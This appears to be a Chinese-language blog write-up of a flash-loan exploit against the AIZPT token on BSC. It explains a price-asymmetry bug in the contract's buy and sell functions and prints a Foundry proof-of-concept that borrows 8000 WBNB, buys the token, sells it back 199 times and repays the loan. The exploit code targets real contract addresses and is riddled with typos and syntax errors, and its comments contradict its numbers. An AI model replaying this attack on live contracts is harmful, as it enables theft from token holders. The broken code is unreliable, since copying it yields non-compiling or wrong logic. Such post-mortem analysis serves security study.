AIZPTToken攻击事件分析

先大概描述一下:攻击者使用闪电贷借的钱,然后再购买了价值8000 BNB的AIPTToken,然后再以高价卖出,从中得到利润,还清借款,最终获得价值34BNB(约俩万美金)。

这是发生在最近的攻击,首先攻击者发现了这个AIZPTToken代币买卖的计算错误,下面是截取的AIZPTToken合约中的一段代码

function buy() internal {
require(tradingEnable, 'Trading not enable');

uint256 swapValue = msg.value;

uint256 token_amount = (swapValue * _balances[address(this)]) / (address(this).balance);

require(token_amount > 0, 'Buy amount too low');

uint256 user_amount = token_amount * 50 / 100;
uint256 fee_amount = token_amount - user_amount;

_transfer(address(this), msg.sender, user_amount);
_transfer(address(this), feeReceiver, fee_amount);

emit Swap(msg.sender, swapValue, 0, 0, user_amount);
}

function sell(uint256 sell_amount) internal {
require(tradingEnable, 'Trading not enable');

uint256 ethAmount = (sell_amount * address(this).balance) / (_balances[address(this)] + sell_amount);

require(ethAmount > 0, 'Sell amount too low');
require(address(this).balance >= ethAmount, 'Insufficient ETH in reserves');

uint256 swap_amount = sell_amount * 50 / 100;
uint256 burn_amount = sell_amount - swap_amount;

_transfer(msg.sender, address(this), swap_amount);
_transfer(msg.sender, address(0), burn_amount);

payable(msg.sender).transfer(ethAmount);

emit Swap(msg.sender, 0, sell_amount, ethAmount, 0);
}

receive() external payable {
buy();
}

从上面,可以发现,用少量的BNB购买AIZPTToken,就可以以高价出售,具体可以对比俩段代码

uint256 token_amount = (swapValue * _balances[address(this)]) / (address(this).balance);

uint256 ethAmount = (sell_amount * address(this).balance) / (_balances[address(this)] + sell_amount);

第一个是买AIPTToken,如果以20的价钱购买12个代币,然后我们出售代币的时候,以同样20的价格出售,那么购买人获得代币的数量是少于12的,换种方法来说,就是可以以高价出售相同代币的数量

下面是攻击者的攻击的测试合约

//SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;

import "forge-std/Test.sol"

import "../interface.sol"

address constant PancakeV3Pool = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;
address constant BUSDT = 0x55d398326f99059fF775485246999027B3197955;
address constant weth = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant AIZPT = 0xBe779D420b7D573C08EEe226B9958737b6218888;

contract AIZPTTokentest is Test {
    address attracker = makeAddr("attracker");

    function setUp() public{
        vm.creatPrankFork("bsc",42846998 - 1);
    }

    function testPOC() public{
          vm.startPrank(attracker);
          Attracker attracker = new Attrceker();
          vm.label(address(attracker),"attracek") ;

          attracker.attrack();

          console.log("") 
    }
}

interface IFS is IERC20{
    function flash(address recipient,uint256 amount0,uint256 amount1,bytes caaldata data) external;

    function withdraw (uint256) external;
    function deposit() exteranl paybale;
}
contract Attracker{
    function attrack() external{
      IFS(Pancakev3Pool).flash(address(this),0,8000ehter,"");
    
        //将攻击合约中剩下的钱转给攻击者自己的地址
        IERC20(weth).transfer(
            msg.sender, 
            IERC20(weth).balanceOf(address(this))
        );
    }
     function pancakeV3FlashCallback(
        uint256 fee0,
        uint256 fee1,
        bytes calldata data
    ) external {
        IFS(weth).withdraw(8000 ether);
     
        AIZPT.call{value: 8000 ether}("");
        //出售200次
        for (uint256 i; i < 199; ++i) {
          //以383727 ether的价格卖出代币
            IERC20(AIZPT).transfer(AIZPT, 3837275 ether);
        }

        IFS(weth).deposit{value: address(this).balance}();
         // 还清贷款和利息
        IERC20(weth).transfer(PancakeV3Pool, 8004100000000000000000);
    }

    receive() external payable{}
}

从测试合约中来看,就是在执行闪电贷回调的时候,进行一个购买出售的操作


完整的调用信息[点击](https://app.blocksec.com/explorer/tx/bsc/0x5e694707337cca979d18f9e45f40e81d6ca341ed342f1377f563e779a746460d?line=998&debugLine=998)